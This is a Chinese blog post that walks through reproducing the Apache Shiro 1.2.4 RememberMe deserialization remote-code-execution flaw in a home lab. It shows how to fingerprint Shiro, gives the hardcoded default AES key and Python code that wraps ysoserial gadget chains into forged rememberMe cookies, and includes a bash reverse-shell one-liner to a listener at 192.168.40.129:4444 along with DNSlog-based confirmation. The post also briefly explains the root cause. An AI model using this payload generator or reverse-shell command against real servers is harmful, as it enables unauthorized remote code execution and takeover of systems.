zoukankan      html  css  js  c++  java
  • Shiro RememberMe 1.2.4 反序列化RCE实践

      Shiro作为Java的一个安全框架,其中提供了登录时的RememberMe功能,让用户在浏览器关闭重新打开后依然能恢复之前的会话。而实现原理就是将储存用户身份的对象序列化并通过AES加密、base64编码储存在cookie中,只要能伪造cookie就能让服务器反序列化任意对象,而1.2.4版本及以下AES加密时采用的key是硬编码在代码中的,这就为伪造cookie提供了机会。只要rememberMe的AES加密密钥泄露,无论shiro是什么版本都会导致反序列化漏洞【6】;

    整个漏洞的测试和利用流程如下:

    1、环境说明:

    (1)靶机:VM装kali, IP:192.168.40.130

             

           攻击机:win10物理机,IP:198.168.40.129

    (2)下方参考有kali配置docker和shiro的说明,配置好后用物理机访问虚拟机如下:

          

    2、(1)探测:在login界面随便输入账号,点击登陆,然后抓包,发现返回包的set-cookie有rememberMe=deleteMe字样,说明对方使用了shiro

        

      (2)https://github.com/acgbfull/Apache_Shiro_1.2.4_RCE 在这里下载别人已经写好的工具;本人在内网做测试,没有公网地址,也没有VPS,加上这个漏洞也没有回显,这里接用dnslog测试RCE是否成功。

    •  先在dnslog申请个子域名:jv39jb.dnslog.cn
    • 再用这个刚才下载的python脚本生成payload:ping一下刚才申请的那个域名

           

      payload拼接到cookie(去掉原来的jession字段,只用生成的这个payload),然后发包:

       

       再去dnglog查看,已经ping了,充分说明这个漏洞是存在并且可以利用的;

      

    3、建立反弹shell:靶机和攻击机都在192.168.40网段,是可以让靶机反弹shell到攻击机的;建议先关闭window自带的defender防火墙,避免链接被拦截;

        (1)攻击机是windows,先下载一个netcat(https://eternallybored.org/misc/netcat/),再把netcat的路径写入环境变量,我这里在4444端口监听:

         

      (2)所有流程重走一遍:先生成payload,这次换成反弹shell:

         

         生成的shell发出去:

      

          成功接受到靶机kali 的反弹shell:前面有报错,并且后面的shell也没法查看home目录的文件;无奈之下把错误提示google一番,发现是shiro在docker运行导致的,这个反弹shell就是靶机docker环境的shell,并非靶机的root shell,这是不是侧面说明了在docker中启动各种服务更安全了(由于docker的隔离,反弹shell权限受限)

         

      这里直接在靶机下运行payload:bash -i >& /dev/tcp/192.168.40.129/4444 0>&1,反弹shell如下(kali路径有中文,所以反弹回来的shell有乱码):一切正常!

         

     4、做完了测试,最重要的就是学习这个RCE的原理了;Shiro≤1.2.4版本默认使用CookieRememberMeManager,当获取用户请求时,大致的关键处理过程如下:

    • 获取Cookie中rememberMe的值
    • 对rememberMe进行Base64解码
    • 使用AES进行解密
    • 对解密的值进行反序列化

      我个人觉得最大的问题出在了AES加密这里;总所周知,AES是对称加密,服务端和客户端用的key都是一样的;shiro的开发人员给了默认的key,如下:极易导泄露;(这里多说一句:很多勒索病毒都用非对称加密算法的,根据客户端的mac、硬盘或其他硬件id生成密钥对,公钥在客户端加密,私钥保留在自己的服务端;每个客户端都有单独的解密私钥,私钥之间没任何关系,互相不影响)

           

       拿到AES的key后,就可以开始构造payload了:先明确需要服务器执行的命令,然后base64编码,最后用上面的这个key加密,整个payload的构造代码在shiro_1.2.4.py中,核心代码如下:

    def encode_rememberme(data, module):
        # module is JRMPClient or CommonsCollections2
        popen = subprocess.Popen(['java', '-jar', 'ysoserial-0.0.5-SNAPSHOT-all.jar', module, data], stdout=subprocess.PIPE)
        BS = AES.block_size
        pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
        key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
        iv = uuid.uuid4().bytes
        encryptor = AES.new(key, AES.MODE_CBC, iv)#用公开的key加密
        file_body = pad(popen.stdout.read())
        base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
        return base64_ciphertext
    
    
    def generate_cookie_rememberme(file_path, data):
        file_path = file_path
        sys_argv_red = data
        ip_port_pattern = re.compile(r'^d{1,3}.d{1,3}.d{1,3}.d{1,3}:d{2,5}$')
        switch_result = ip_port_pattern.search(sys_argv_red)
        if switch_result is not None and switch_result is not "":
            try:
                payload_rebound = encode_rememberme(sys_argv_red, 'JRMPClient')
            except Exception as error:
                print("Generate cookie Error: {0}: {1}".format(Exception, error))
                return False
            cookie = "rememberMe={0}".format(payload_rebound.decode())
            print("Generate cookie success
    ")
            if file_contents_operate(file_path, method='w', contents=cookie):
                print("{0}".format(cookie))
                print("
    cookie value in payload.cookie.txt
    ")
                return cookie
            else:
                print("!!!Cookie rememberMe write file error
    ")
                print("{0}".format(cookie))
                return False
        else:
            string = str(base64.b64encode(sys_argv_red.encode(encoding="utf-8")), encoding="utf-8") #payload用base64编码
            bash_java_base64_encode_str = "bash -c {{echo,{0}}}|{{base64,-d}}|{{bash,-i}}".format(string)
            try:
                payload_command = encode_rememberme(bash_java_base64_encode_str, 'CommonsCollections2')#编码后的payload再加密
            except Exception as error:
                print("Generate cookie Error: {0}: {1}".format(Exception, error))
                return False
            cookie = "rememberMe={0}".format(payload_command.decode())
            print("Generate cookie success
    ")
            if file_contents_operate(file_path, method='w', contents=cookie):
                print("{0}".format(cookie))
                print("
    cookie value in payload.cookie.txt
    ")
                return cookie
            else:
                print("!!!Cookie rememberMe write file error
    ")
                print("{0}".format(cookie))
                return False

      靶机收到cookie后,先解密,再解码,最后进入这里的反序列化函数,如下;这里需要注意的是Shiro并不是使用原生的反序列化,而是重写了ObjectInputStream.resolveClass()方法,最大的坑就在这了: resolveClass未采用class.forName,而是ClassLoader.loadClass();更详细的反序列化漏洞原因解析,可参考【9】:Shiro RememberMe 漏洞检测的探索之路;

       

    参考:

    1、https://cloud.tencent.com/developer/article/1556595  Apache Shiro反序列化远程代码执行复现及“批量杀鸡”

    2、https://blog.csdn.net/weixin_44067239/article/details/106918315 Shiro RememberMe 1.2.4 反序列化命令执行漏洞复现 kali docker

    3、https://www.meiyoubug.com/article/79567.html  kali-2020配置docker

    4、https://wh1te.fun/2020/06/21/Apache%20Shiro%20%3C%201.2.4%20RCE%20%E6%BC%8F%E6%B4%9E%E5%A4%8D%E7%8E%B0/    Apache Shiro < 1.2.4 RCE 漏洞复现与利用

    5、https://github.com/acgbfull/Apache_Shiro_1.2.4_RCE 利用的payload

    6、https://l3yx.github.io/2020/03/21/Shiro-1-2-4-%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E6%BC%8F%E6%B4%9E/   Shiro 1.2.4 反序列化漏洞

    7、https://blog.csdn.net/zoulonglong/article/details/79552813  python3.6 错误: ModuleNotFoundError:No module named "Crypto"

    8、https://p0rz9.github.io/2019/07/18/Shiro%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/    Shiro反序列化漏洞分析

    9、https://mp.weixin.qq.com/s/jV3B6IsPARRaxetZUht57w  Shiro RememberMe 漏洞检测的探索之路

  • 相关阅读:
    连接H3C交换机的Console口连不上
    WIN7远程桌面连接--“发生身份验证错误。要求的函数不受支持”
    关于SSD Trim功能
    电源适配器和充电器的区别和关系
    处理win7任务栏通知区域图标异常问题
    VMware Workstation 学习笔记
    关于“找不到附属汇编 Microsoft.VC90.CRT,上一个错误是 参照的汇编没有安装在系统上。”的解决
    Win7硬盘的AHCI模式
    电脑没有网络的故障分析
    通过Performance Log确定磁盘有性能问题?
  • 原文地址:https://www.cnblogs.com/theseventhson/p/13910889.html
Copyright © 2011-2022 走看看